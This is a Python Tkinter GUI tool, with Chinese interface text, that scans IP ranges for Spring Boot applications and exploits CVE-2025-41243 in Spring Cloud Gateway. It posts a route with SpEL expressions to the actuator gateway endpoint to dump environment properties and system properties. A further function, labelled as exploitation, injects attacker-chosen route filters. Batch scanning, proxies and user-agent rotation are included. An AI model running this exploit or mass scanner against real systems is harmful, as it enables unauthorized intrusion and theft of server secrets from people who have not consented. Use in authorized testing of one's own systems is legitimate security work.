import tkinter as tk
from tkinter import ttk, scrolledtext, filedialog, messagebox
import requests
import json
import random
import string
import urllib3
import re
from threading import Thread, Event
import time
from urllib.parse import urlparse
import csv
from queue import Queue

# 禁用SSL警告
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# SpringBoot特征识别相关配置
SPRINGBOOT_HEADERS = [
    'X-Application-Context',
    'Spring-Boot-Version',
    'X-Spring-Boot-Profile'
]

SPRINGBOOT_PATHS = [
    '/actuator',
    '/actuator/health',
    '/error',
    '/env',
    '/beans'
]

SPRINGBOOT_PATTERNS = [
    'Whitelabel Error Page',
    'Spring Boot',
    'springframework',
    'actuator'
]

USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36"
]

class CVE202541243GUI:
    def __init__(self, root):
        self.root = root
        self.root.title("信安西部-明镜高悬实验室-CVE-2025-41243 漏洞检测工具（v1.0）")
        self.root.geometry("1000x750")
        
        # 全局变量
        self.outtime = 10
        self.thread_count = 5
        self.discovered_assets = []
        self.springboot_assets = []
        self.radio_var = tk.StringVar(value="range")  # 用于选择处理方式
        self.scanning = False  # 扫描状态标志
        self.stop_event = Event()  # 用于停止线程的事件
        self.scan_results_data = []  # 用于存储结果数据，便于导出
        self.discovery_queue = None  # 资产发现队列
        self.scan_queue = None  # 漏洞扫描队列
        
        self.init_ui()
        
    def init_ui(self):
        # 创建标签页
        tab_control = ttk.Notebook(self.root)
        
        # 资产发现标签页
        self.tab_discovery = ttk.Frame(tab_control)
        tab_control.add(self.tab_discovery, text="资产发现")
        
        # 漏洞检测标签页
        self.tab_scan = ttk.Frame(tab_control)
        tab_control.add(self.tab_scan, text="漏洞检测")
        
        tab_control.pack(expand=1, fill="both")
        
        # 初始化资产发现标签页
        self.init_discovery_tab()
        
        # 初始化漏洞检测标签页
        self.init_scan_tab()
        
        # 日志区域
        self.log_area = scrolledtext.ScrolledText(self.root, wrap=tk.WORD, height=10)
        self.log_area.pack(padx=10, pady=5, fill=tk.BOTH, expand=True)
        self.log_area.config(state=tk.DISABLED)
        
    def init_discovery_tab(self):
        # 目标输入区域
        frame_target = ttk.LabelFrame(self.tab_discovery, text="目标设置")
        frame_target.pack(padx=10, pady=5, fill=tk.X)
        
        ttk.Label(frame_target, text="IP/域名范围:").grid(row=0, column=0, padx=5, pady=5, sticky=tk.W)
        self.entry_target = ttk.Entry(frame_target)
        self.entry_target.grid(row=0, column=1, padx=5, pady=5, sticky=tk.EW)
        frame_target.columnconfigure(1, weight=1)
        
        ttk.Label(frame_target, text="端口范围:").grid(row=1, column=0, padx=5, pady=5, sticky=tk.W)
        self.entry_ports = ttk.Entry(frame_target)
        self.entry_ports.insert(0, "80,443,8080,8443")
        self.entry_ports.grid(row=1, column=1, padx=5, pady=5, sticky=tk.EW)
        
        # 发现选项
        frame_options = ttk.LabelFrame(self.tab_discovery, text="发现选项")
        frame_options.pack(padx=10, pady=5, fill=tk.X)
        
        self.check_springboot = tk.BooleanVar(value=True)
        ttk.Checkbutton(frame_options, text="仅识别SpringBoot应用", variable=self.check_springboot).pack(side=tk.LEFT, padx=5, pady=5)
        
        # 添加范围和列表选择方式
        ttk.Label(frame_options, text="处理方式:").pack(side=tk.LEFT, padx=5, pady=5)
        ttk.Radiobutton(frame_options, text="使用范围输入", variable=self.radio_var, value="range").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(frame_options, text="使用导入列表", variable=self.radio_var, value="list").pack(side=tk.LEFT, padx=2)
        ttk.Radiobutton(frame_options, text="两者都使用", variable=self.radio_var, value="both").pack(side=tk.LEFT, padx=2)
        
        # 配置选项（超时和线程数）
        frame_config = ttk.LabelFrame(self.tab_discovery, text="配置选项")
        frame_config.pack(padx=10, pady=5, fill=tk.X)
        
        ttk.Label(frame_config, text="超时时间(秒):").grid(row=0, column=0, padx=5, pady=5, sticky=tk.W)
        self.timeout_var = tk.StringVar(value=str(self.outtime))
        ttk.Entry(frame_config, textvariable=self.timeout_var, width=10).grid(row=0, column=1, padx=5, pady=5)
        
        ttk.Label(frame_config, text="线程数:").grid(row=0, column=2, padx=5, pady=5, sticky=tk.W)
        self.thread_var = tk.StringVar(value=str(self.thread_count))
        ttk.Entry(frame_config, textvariable=self.thread_var, width=10).grid(row=0, column=3, padx=5, pady=5)
        
        # 按钮区域 - 按要求排序：开始资产发现 → 停止资产发现 → 导出资产列表
        frame_buttons = ttk.Frame(self.tab_discovery)
        frame_buttons.pack(padx=10, pady=5, fill=tk.X)
        
        # 左侧按钮
        left_frame = ttk.Frame(frame_buttons)
        left_frame.pack(side=tk.LEFT)
        ttk.Button(left_frame, text="加载目标列表", command=self.load_targets).pack(side=tk.LEFT, padx=5)
        ttk.Button(left_frame, text="清空URL", command=self.clear_urls).pack(side=tk.LEFT, padx=5)
        
        # 右侧按钮 - 按指定顺序排列：开始 → 停止 → 导出
        right_frame = ttk.Frame(frame_buttons)
        right_frame.pack(side=tk.RIGHT)
        
        # 使用grid布局确保按钮顺序正确
        ttk.Button(right_frame, text="开始资产发现", command=self.start_discovery).grid(row=0, column=0, padx=5)
        ttk.Button(right_frame, text="停止资产发现", command=self.stop_discovery).grid(row=0, column=1, padx=5)
        ttk.Button(right_frame, text="导出资产列表", command=self.export_assets).grid(row=0, column=2, padx=5)
        
        # 结果区域
        ttk.Label(self.tab_discovery, text="发现的资产:").pack(anchor=tk.W, padx=10, pady=5)
        self.discovery_results = scrolledtext.ScrolledText(self.tab_discovery, wrap=tk.WORD, height=10)
        self.discovery_results.pack(padx=10, pady=5, fill=tk.BOTH, expand=True)
        
    def init_scan_tab(self):
        # 目标选择区域
        frame_target = ttk.LabelFrame(self.tab_scan, text="检测目标")
        frame_target.pack(padx=10, pady=5, fill=tk.X)
        
        ttk.Label(frame_target, text="从资产列表选择:").grid(row=0, column=0, padx=5, pady=5, sticky=tk.W)
        self.selected_target = tk.StringVar()
        self.combo_targets = ttk.Combobox(frame_target, textvariable=self.selected_target)
        self.combo_targets.grid(row=0, column=1, padx=5, pady=5, sticky=tk.EW)
        frame_target.columnconfigure(1, weight=1)
        
        # 代理设置
        ttk.Label(frame_target, text="代理 (http://ip:port):").grid(row=1, column=0, padx=5, pady=5, sticky=tk.W)
        self.entry_proxy = ttk.Entry(frame_target)
        self.entry_proxy.grid(row=1, column=1, padx=5, pady=5, sticky=tk.EW)
        
        # 配置选项（超时和线程数）
        frame_config = ttk.LabelFrame(self.tab_scan, text="配置选项")
        frame_config.pack(padx=10, pady=5, fill=tk.X)
        
        ttk.Label(frame_config, text="超时时间(秒):").grid(row=0, column=0, padx=5, pady=5, sticky=tk.W)
        self.scan_timeout_var = tk.StringVar(value=str(self.outtime))
        ttk.Entry(frame_config, textvariable=self.scan_timeout_var, width=10).grid(row=0, column=1, padx=5, pady=5)
        
        ttk.Label(frame_config, text="线程数:").grid(row=0, column=2, padx=5, pady=5, sticky=tk.W)
        self.scan_thread_var = tk.StringVar(value=str(self.thread_count))
        ttk.Entry(frame_config, textvariable=self.scan_thread_var, width=10).grid(row=0, column=3, padx=5, pady=5)
        
        # 按钮区域 - 按要求排序：批量检测所有资产 → 停止检测 → 导出检测结果
        frame_buttons = ttk.Frame(self.tab_scan)
        frame_buttons.pack(padx=10, pady=5, fill=tk.X)
        
        # 左侧按钮
        ttk.Button(frame_buttons, text="检测选中目标", command=self.scan_selected).pack(side=tk.LEFT, padx=5)
        
        # 右侧按钮 - 按指定顺序排列：批量检测 → 停止 → 导出
        right_frame = ttk.Frame(frame_buttons)
        right_frame.pack(side=tk.RIGHT)
        
        # 使用grid布局确保按钮顺序正确
        ttk.Button(right_frame, text="批量检测所有资产", command=self.scan_all).grid(row=0, column=0, padx=5)
        ttk.Button(right_frame, text="停止检测", command=self.stop_scan).grid(row=0, column=1, padx=5)
        ttk.Button(right_frame, text="导出检测结果", command=self.export_scan_results).grid(row=0, column=2, padx=5)
        
        # 检测结果
        ttk.Label(self.tab_scan, text="检测结果:").pack(anchor=tk.W, padx=10, pady=5)
        self.scan_results = scrolledtext.ScrolledText(self.tab_scan, wrap=tk.WORD, height=10)
        self.scan_results.pack(padx=10, pady=5, fill=tk.BOTH, expand=True)
        
        # 命令执行区域
        self.frame_command = ttk.LabelFrame(self.tab_scan, text="环境变量设置 (仅对存在漏洞的目标)")
        self.frame_command.pack(padx=10, pady=5, fill=tk.X)
        self.frame_command.pack_forget()  # 初始隐藏
        
        # 使用grid布局避免冲突
        ttk.Label(self.frame_command, text="环境变量键:").grid(row=0, column=0, padx=5, pady=5, sticky=tk.W)
        self.entry_key = ttk.Entry(self.frame_command)
        self.entry_key.grid(row=0, column=1, padx=5, pady=5, sticky=tk.EW)
        
        ttk.Label(self.frame_command, text="环境变量值:").grid(row=1, column=0, padx=5, pady=5, sticky=tk.W)
        self.entry_value = ttk.Entry(self.frame_command)
        self.entry_value.grid(row=1, column=1, padx=5, pady=5, sticky=tk.EW)
        
        ttk.Button(self.frame_command, text="设置环境变量", command=self.set_environment).grid(row=0, column=2, padx=5, pady=5, rowspan=2)
        self.frame_command.columnconfigure(1, weight=1)
        
        # 保存当前有漏洞的目标
        self.vulnerable_target = None
        
    def log(self, message):
        """添加日志到日志区域"""
        self.log_area.config(state=tk.NORMAL)
        self.log_area.insert(tk.END, f"[{time.strftime('%H:%M:%S')}] {message}\n")
        self.log_area.see(tk.END)
        self.log_area.config(state=tk.DISABLED)
    
    def load_targets(self):
        """从文件加载目标列表"""
        file_path = filedialog.askopenfilename(filetypes=[("文本文件", "*.txt"), ("所有文件", "*.*")])
        if not file_path:
            return
            
        try:
            with open(file_path, 'r') as f:
                targets = f.readlines()
                targets = [t.strip() for t in targets if t.strip()]
                
            # 解析URL，确保格式正确
            parsed_targets = []
            for target in targets:
                if not re.match(r'^https?://', target):
                    target = f"http://{target}"  # 补全协议
                parsed = urlparse(target)
                # 提取 协议://域名:端口 格式
                parsed_targets.append(f"{parsed.scheme}://{parsed.netloc}")
                
            self.discovery_results.delete(1.0, tk.END)
            self.discovery_results.insert(tk.END, '\n'.join(parsed_targets))
            self.discovered_assets = parsed_targets
            self.update_target_combobox(parsed_targets)
            self.log(f"已加载 {len(parsed_targets)} 个目标")
        except Exception as e:
            self.log(f"加载目标失败: {str(e)}")
    
    def clear_urls(self):
        """清空URL列表"""
        self.discovery_results.delete(1.0, tk.END)
        self.discovered_assets = []
        self.update_target_combobox([])
        self.log("已清空目标列表")
    
    def update_target_combobox(self, targets):
        """更新目标选择下拉框"""
        self.combo_targets['values'] = targets
        if targets:
            self.combo_targets.current(0)
    
    def start_discovery(self):
        """开始资产发现"""
        # 验证配置参数
        try:
            self.outtime = int(self.timeout_var.get())
            self.thread_count = int(self.thread_var.get())
            if self.thread_count < 1 or self.thread_count > 50:
                raise ValueError("线程数必须在1-50之间")
            if self.outtime < 1 or self.outtime > 60:
                raise ValueError("超时时间必须在1-60之间")
        except ValueError as e:
            messagebox.showerror("参数错误", str(e))
            return
        
        target_range = self.entry_target.get().strip()
        ports = self.entry_ports.get().strip()
        import_targets = self.discovered_assets  # 导入的列表
        
        # 根据选择获取目标
        selected_mode = self.radio_var.get()
        if selected_mode in ["range", "both"] and (not target_range or not ports):
            messagebox.showerror("错误", "请输入目标范围和端口范围")
            return
        if selected_mode in ["list", "both"] and not import_targets:
            messagebox.showinfo("提示", "导入列表为空，请先加载目标列表")
            return
        
        # 重置状态
        self.scanning = True
        self.stop_event.clear()
        self.discovered_assets = []
        self.springboot_assets = []
        self.discovery_queue = Queue()  # 初始化队列
        
        self.log("开始资产发现...")
        # 在新线程中执行资产发现，避免UI卡顿
        Thread(target=self.perform_discovery, args=(target_range, ports, import_targets, selected_mode), daemon=True).start()
    
    def stop_discovery(self):
        """停止资产发现"""
        if self.scanning and self.discovery_queue is not None:
            self.stop_event.set()
            
            # 清空队列以快速结束
            while not self.discovery_queue.empty():
                try:
                    self.discovery_queue.get_nowait()
                except:
                    pass
                self.discovery_queue.task_done()
                
            self.scanning = False
            self.log("资产发现已停止")
        else:
            messagebox.showinfo("提示", "没有正在进行的资产发现任务")
    
    def expand_target_range(self, target_range):
        """增强目标范围解析，支持多种格式"""
        targets = []
        # 处理IP段（支持 192.168.1.1-10 或 192.168.1-2.1-10）
        ip_range_pattern = re.compile(r'^(\d+\.\d+\.\d+)\.(\d+)-(\d+)$')
        multi_segment_pattern = re.compile(r'^(\d+\.\d+)\.(\d+)-(\d+)\.(\d+)-(\d+)$')
        
        if ip_range_pattern.match(target_range):
            # 单段IP范围（如 192.168.1.1-10）
            prefix, start, end = ip_range_pattern.match(target_range).groups()
            for i in range(int(start), int(end)+1):
                targets.append(f"{prefix}.{i}")
        elif multi_segment_pattern.match(target_range):
            # 多段IP范围（如 192.168.1-2.1-10）
            prefix, s1, e1, s2, e2 = multi_segment_pattern.match(target_range).groups()
            for seg1 in range(int(s1), int(e1)+1):
                for seg2 in range(int(s2), int(e2)+1):
                    targets.append(f"{prefix}.{seg1}.{seg2}")
        elif '-' in target_range and not '.' in target_range:
            # 非IP的范围（如域名批量，这里简单处理为单个目标）
            targets.append(target_range)
        else:
            # 单个IP或域名
            targets.append(target_range)
        return targets
    
    def is_springboot(self, url):
        """识别目标是否为SpringBoot应用"""
        headers = {
            'User-Agent': random.choice(USER_AGENTS),
            'Accept': '*/*'
        }
        
        try:
            # 检查是否需要停止
            if self.stop_event.is_set():
                return False, "检测已停止"
                
            # 1. 检查响应头
            response = requests.head(url, headers=headers, timeout=self.outtime, verify=False, allow_redirects=True)
            for header in SPRINGBOOT_HEADERS:
                if header in response.headers:
                    return True, f"通过响应头 {header} 识别为SpringBoot应用"
            
            # 2. 检查特定路径
            for path in SPRINGBOOT_PATHS:
                # 检查是否需要停止
                if self.stop_event.is_set():
                    return False, "检测已停止"
                    
                try:
                    full_url = url + ('' if url.endswith('/') else '/') + path.lstrip('/')
                    response = requests.get(full_url, headers=headers, timeout=self.outtime, verify=False)
                    
                    # 检查响应头
                    for header in SPRINGBOOT_HEADERS:
                        if header in response.headers:
                            return True, f"通过路径 {path} 的响应头 {header} 识别为SpringBoot应用"
                    
                    # 检查响应内容
                    content = response.text.lower()
                    for pattern in SPRINGBOOT_PATTERNS:
                        if pattern.lower() in content:
                            return True, f"通过路径 {path} 的内容识别为SpringBoot应用"
                except:
                    continue
            
            return False, "未检测到SpringBoot特征"
            
        except Exception as e:
            return False, f"检测过程出错: {str(e)}"
    
    def perform_discovery(self, target_range, ports, import_targets, selected_mode):
        """执行资产发现，包含SpringBoot识别"""
        ports = ports.split(',')
        targets = []
        
        # 根据选择的模式添加目标
        if selected_mode in ["range", "both"]:
            range_targets = self.expand_target_range(target_range)
            targets.extend(range_targets)
        
        if selected_mode in ["list", "both"]:
            # 从导入的目标中提取主机（不带协议和端口）
            for target in import_targets:
                parsed = urlparse(target)
                host = parsed.hostname
                if host not in targets:
                    targets.append(host)
        
        # 去重处理
        targets = list(set(targets))
        total_targets = len(targets) * len(ports) * 2  # IP数 * 端口数 * 协议数(http/https)
        processed = 0
        
        self.log(f"开始扫描 {total_targets} 个可能的目标...")
        
        # 填充队列
        for target in targets:
            for port in ports:
                for proto in ['http', 'https']:
                    self.discovery_queue.put((target, port, proto))
        
        # 工作线程函数
        def worker():
            nonlocal processed
            while not self.discovery_queue.empty() and not self.stop_event.is_set():
                try:
                    # 非阻塞获取队列元素，超时1秒
                    item = self.discovery_queue.get(timeout=1)
                    if item is None:
                        continue
                        
                    target, port, proto = item
                    url = f"{proto}://{target}:{port}"
                    
                    # 检查是否需要停止
                    if self.stop_event.is_set():
                        break
                        
                    self.log(f"正在探测 {url} ({processed+1}/{total_targets})")
                    
                    # 检查目标是否可达
                    response = requests.head(url, timeout=self.outtime, verify=False, allow_redirects=True)
                    if response.status_code in [200, 401, 403, 404, 500]:
                        self.log(f"发现存活资产: {url}")
                        self.discovered_assets.append(url)
                        
                        # 检测是否为SpringBoot应用
                        is_spring, reason = self.is_springboot(url)
                        if is_spring:
                            self.log(f"SpringBoot应用: {url} - {reason}")
                            self.springboot_assets.append(url)
                        else:
                            self.log(f"{url} - {reason}")
                        
                        # 更新UI显示
                        self.root.after(0, self.update_discovery_results)
                        
                    processed += 1
                    
                except Exception as e:
                    if "queue is empty" not in str(e).lower():
                        self.log(f"处理目标时出错: {str(e)}")
                finally:
                    try:
                        self.discovery_queue.task_done()
                    except:
                        pass
        
        # 启动工作线程
        workers = []
        for _ in range(self.thread_count):
            worker_thread = Thread(target=worker, daemon=True)
            worker_thread.start()
            workers.append(worker_thread)
        
        # 等待队列处理完成
        self.discovery_queue.join()
        
        # 等待所有工作线程结束
        for worker_thread in workers:
            worker_thread.join(timeout=1)
        
        # 检查是否是被停止的
        if self.stop_event.is_set():
            self.log("资产发现已被用户停止")
        else:
            self.log("资产发现完成")
        
        # 更新结果显示
        if self.check_springboot.get():
            display_assets = self.springboot_assets
        else:
            display_assets = self.discovered_assets
            
        self.root.after(0, lambda: self.update_discovery_results(display_assets))
        self.root.after(0, lambda: self.update_target_combobox(display_assets))
        self.scanning = False
        self.discovery_queue = None  # 重置队列
    
    def update_discovery_results(self, assets=None):
        """更新资产发现结果显示"""
        if assets is None:
            assets = self.discovered_assets if not self.check_springboot.get() else self.springboot_assets
        
        self.discovery_results.delete(1.0, tk.END)
        self.discovery_results.insert(tk.END, '\n'.join(assets))
    
    def export_assets(self):
        """导出资产列表"""
        if not self.discovered_assets:
            messagebox.showwarning("警告", "没有资产可导出")
            return
            
        file_path = filedialog.asksaveasfilename(
            defaultextension=".txt",
            filetypes=[("文本文件", "*.txt"), ("CSV文件", "*.csv"), ("所有文件", "*.*")]
        )
        
        if file_path:
            try:
                with open(file_path, 'w', encoding='utf-8') as f:
                    if file_path.endswith('.csv'):
                        # 写入CSV格式
                        f.write("URL,类型\n")
                        for url in self.discovered_assets:
                            asset_type = "SpringBoot" if url in self.springboot_assets else "Unknown"
                            f.write(f"{url},{asset_type}\n")
                    else:
                        # 写入文本格式
                        f.write('\n'.join(self.discovered_assets))
                
                self.log(f"资产列表已导出至: {file_path}")
                messagebox.showinfo("成功", f"资产列表已导出至: {file_path}")
            except Exception as e:
                self.log(f"导出资产列表失败: {str(e)}")
                messagebox.showerror("错误", f"导出失败: {str(e)}")
    
    def scan_selected(self):
        """检测选中的目标"""
        target = self.selected_target.get()
        if not target:
            messagebox.showerror("错误", "请选择目标")
            return
            
        self.log(f"开始检测目标: {target}")
        self.start_batch_scan([target])
    
    def scan_all(self):
        """批量检测所有资产"""
        targets = self.combo_targets['values']
        if not targets:
            messagebox.showinfo("提示", "没有可检测的资产")
            return
            
        self.log(f"开始批量检测 {len(targets)} 个资产")
        self.start_batch_scan(targets)
    
    def start_batch_scan(self, targets):
        """开始批量扫描"""
        # 验证配置参数
        try:
            self.outtime = int(self.scan_timeout_var.get())
            thread_count = int(self.scan_thread_var.get())
            if thread_count < 1 or thread_count > 50:
                raise ValueError("线程数必须在1-50之间")
            if self.outtime < 1 or self.outtime > 60:
                raise ValueError("超时时间必须在1-60之间")
        except ValueError as e:
            messagebox.showerror("参数错误", str(e))
            return
        
        # 重置状态
        self.scanning = True
        self.stop_event.clear()
        self.scan_results_data = []  # 清空之前的结果数据
        self.scan_queue = Queue()  # 初始化队列
        
        # 填充队列
        for target in targets:
            self.scan_queue.put(target)
        
        # 工作线程函数
        def scan_worker():
            while not self.scan_queue.empty() and not self.stop_event.is_set():
                try:
                    # 非阻塞获取队列元素，超时1秒
                    target = self.scan_queue.get(timeout=1)
                    self.perform_scan(target)
                except Exception as e:
                    if "queue is empty" not in str(e).lower():
                        self.log(f"扫描工作线程出错: {str(e)}")
                finally:
                    try:
                        self.scan_queue.task_done()
                    except:
                        pass
        
        # 启动工作线程
        workers = []
        for _ in range(thread_count):
            worker_thread = Thread(target=scan_worker, daemon=True)
            worker_thread.start()
            workers.append(worker_thread)
        
        # 监控扫描完成的线程
        def monitor_scan():
            self.scan_queue.join()
            
            # 等待所有工作线程结束
            for worker_thread in workers:
                worker_thread.join(timeout=1)
                
            if self.stop_event.is_set():
                self.log("漏洞检测已被用户停止")
            else:
                self.log("批量检测完成")
            self.scanning = False
            self.scan_queue = None  # 重置队列
        
        Thread(target=monitor_scan, daemon=True).start()
    
    def stop_scan(self):
        """停止漏洞检测"""
        if self.scanning and self.scan_queue is not None:
            self.stop_event.set()
            
            # 清空队列以快速结束
            while not self.scan_queue.empty():
                try:
                    self.scan_queue.get_nowait()
                except:
                    pass
                self.scan_queue.task_done()
                
            self.scanning = False
            self.log("漏洞检测已停止")
        else:
            messagebox.showinfo("提示", "没有正在进行的漏洞检测任务")
    
    def get_proxies(self):
        """获取代理配置"""
        proxy = self.entry_proxy.get().strip()
        if proxy:
            return {
                'http': proxy,
                'https': proxy
            }
        return None
    
    def generate_random_route(self, length=5):
        """生成随机路由名称"""
        characters = string.ascii_letters
        return ''.join(random.choice(characters) for _ in range(length))
    
    def perform_scan(self, url):
        """执行CVE-2025-41243漏洞检测"""
        if self.stop_event.is_set():
            return
            
        proxies = self.get_proxies()
        vul_status = 0
        result_text = f"======开始检测 {url} 的CVE-2025-41243漏洞======\n"
        
        # 确保URL以/结尾
        if not url.endswith('/'):
            url += '/'
        
        try:
            # 构建请求头
            headers1 = {
                'Accept-Encoding': 'gzip, deflate',
                'Accept': '*/*',
                'Accept-Language': 'en',
                'User-Agent': random.choice(USER_AGENTS),
                'Content-Type': 'application/json'
            }
            
            headers2 = {
                'User-Agent': random.choice(USER_AGENTS),
                'Content-Type': 'application/x-www-form-urlencoded'
            }
            
            # 构建检测Payload
            payload = """{
  "id": "",
  "uri": "http://1.2.3.4:8443/",
  "predicates": [{
    "name": "Path",
    "args": {
      "pattern": "/malicious"
    }
  }],
  "filters": [
  {
    "name": "AddRequestHeader",
    "args": {
      "name": "X-SpEL-get-environment",
      "value": "#{@environment.getPropertySources.?[#this.name matches '.*optional:classpath:.*'][0].source.![{#this.getKey, #this.value.toString}]}"
    }
  },
  {
    "name": "AddRequestHeader",
    "args": {
      "name": "X-SpEL-get-systemProperties",
      "value": "#{@systemProperties.![{#this.key, #this.value.toString}]}"
    }
  }
]
}"""
            
            random_string = self.generate_random_route(5)
            payload_json = json.loads(payload)
            payload_json['id'] = random_string
            
            # 检查是否需要停止
            if self.stop_event.is_set():
                result_text += "[!] 检测已被用户停止\n"
                self.root.after(0, lambda: self.update_scan_results(result_text))
                return
            
            # 发送检测请求
            self.log(f"向 {url} 发送检测Payload")
            
            re1 = requests.post(
                url=f"{url}actuator/gateway/routes/{random_string}",
                headers=headers1,
                timeout=self.outtime,
                json=payload_json,
                verify=False,
                proxies=proxies
            )
            
            # 检查是否需要停止
            if self.stop_event.is_set():
                result_text += "[!] 检测已被用户停止\n"
                self.root.after(0, lambda: self.update_scan_results(result_text))
                return
            
            re2 = requests.post(
                url=f"{url}actuator/gateway/refresh",
                headers=headers2,
                timeout=self.outtime,
                verify=False,
                proxies=proxies
            )
            
            # 检查是否需要停止
            if self.stop_event.is_set():
                result_text += "[!] 检测已被用户停止\n"
                self.root.after(0, lambda: self.update_scan_results(result_text))
                return
            
            re3 = requests.get(
                url=f"{url}actuator/gateway/routes/{random_string}",
                headers=headers2,
                timeout=self.outtime,
                verify=False,
                proxies=proxies
            )
            
            # 清理路由
            re4 = requests.delete(
                url=f"{url}actuator/gateway/routes/{random_string}",
                headers=headers2,
                timeout=self.outtime,
                verify=False,
                proxies=proxies
            )
            
            re5 = requests.post(
                url=f"{url}actuator/gateway/refresh",
                headers=headers2,
                timeout=self.outtime,
                verify=False,
                proxies=proxies
            )
            
            # 检查结果
            if 'X-SpEL' in str(re3.text):
                result_text += "[+] 目标存在CVE-2025-41243漏洞!\n"
                result_text += "回显结果如下：\n"
                result_text += re3.text + "\n"
                vul_status = 1
                self.vulnerable_target = url  # 记录有漏洞的目标
                self.root.after(0, lambda: self.frame_command.pack())  # 显示命令执行区域
            else:
                result_text += "[-] 目标不存在CVE-2025-41243漏洞\n"
                
        except Exception as e:
            result_text += f"[-] 检测过程出错: {str(e)}\n"
        
        # 保存结果数据用于导出
        self.scan_results_data.append({
            'url': url,
            'status': '存在漏洞' if vul_status else '不存在漏洞',
            'details': result_text
        })
        
        # 更新结果到UI
        self.root.after(0, lambda: self.update_scan_results(result_text))
        self.log(f"{url} 检测完成")
    
    def update_scan_results(self, text):
        """更新扫描结果显示"""
        self.scan_results.config(state=tk.NORMAL)
        self.scan_results.insert(tk.END, text + "\n" + "-"*50 + "\n")
        self.scan_results.see(tk.END)
        self.scan_results.config(state=tk.DISABLED)
    
    def export_scan_results(self):
        """导出检测结果"""
        if not self.scan_results_data:
            messagebox.showwarning("警告", "没有检测结果可导出")
            return
            
        file_path = filedialog.asksaveasfilename(
            defaultextension=".txt",
            filetypes=[("文本文件", "*.txt"), ("CSV文件", "*.csv"), ("所有文件", "*.*")]
        )
        
        if file_path:
            try:
                with open(file_path, 'w', encoding='utf-8') as f:
                    if file_path.endswith('.csv'):
                        # 写入CSV格式
                        f.write("URL,状态,详细信息\n")
                        for item in self.scan_results_data:
                            # 替换CSV中的逗号，避免格式问题
                            details = item['details'].replace(',', '，').replace('\n', ' ')
                            f.write(f"{item['url']},{item['status']},{details}\n")
                    else:
                        # 写入文本格式
                        for item in self.scan_results_data:
                            f.write(f"URL: {item['url']}\n")
                            f.write(f"状态: {item['status']}\n")
                            f.write(f"详细信息:\n{item['details']}\n")
                            f.write("-"*80 + "\n")
                
                self.log(f"检测结果已导出至: {file_path}")
                messagebox.showinfo("成功", f"检测结果已导出至: {file_path}")
            except Exception as e:
                self.log(f"导出检测结果失败: {str(e)}")
                messagebox.showerror("错误", f"导出失败: {str(e)}")
    
    def set_environment(self):
        """设置环境变量（漏洞利用）"""
        if not self.vulnerable_target:
            messagebox.showinfo("提示", "没有检测到存在漏洞的目标")
            return
            
        key = self.entry_key.get().strip()
        value = self.entry_value.get().strip()
        
        if not key or not value:
            messagebox.showerror("错误", "请输入环境变量键和值")
            return
            
        # 实现设置环境变量的逻辑
        try:
            url = self.vulnerable_target
            if not url.endswith('/'):
                url += '/'
                
            headers = {
                'User-Agent': random.choice(USER_AGENTS),
                'Content-Type': 'application/json'
            }
            
            # 构建设置环境变量的Payload
            random_string = self.generate_random_route(6)
            payload = {
                "id": random_string,
                "uri": "http://127.0.0.1:8080/",
                "predicates": [{"name": "Path", "args": {"pattern": f"/{random_string}"}}],
                "filters": [{
                    "name": "AddRequestHeader",
                    "args": {
                        "name": key,
                        "value": value
                    }
                }]
            }
            
            # 发送设置请求
            response = requests.post(
                f"{url}actuator/gateway/routes/{random_string}",
                json=payload,
                headers=headers,
                timeout=self.outtime,
                verify=False,
                proxies=self.get_proxies()
            )
            
            # 刷新配置
            requests.post(
                f"{url}actuator/gateway/refresh",
                headers=headers,
                timeout=self.outtime,
                verify=False,
                proxies=self.get_proxies()
            )
            
            if response.status_code in [200, 201]:
                messagebox.showinfo("成功", f"环境变量 {key} 已设置为 {value}")
                self.log(f"在 {self.vulnerable_target} 上成功设置环境变量 {key}")
            else:
                messagebox.showerror("失败", f"设置环境变量失败，状态码: {response.status_code}")
                
        except Exception as e:
            messagebox.showerror("错误", f"设置环境变量时出错: {str(e)}")

if __name__ == "__main__":
    root = tk.Tk()
    app = CVE202541243GUI(root)
    root.mainloop()
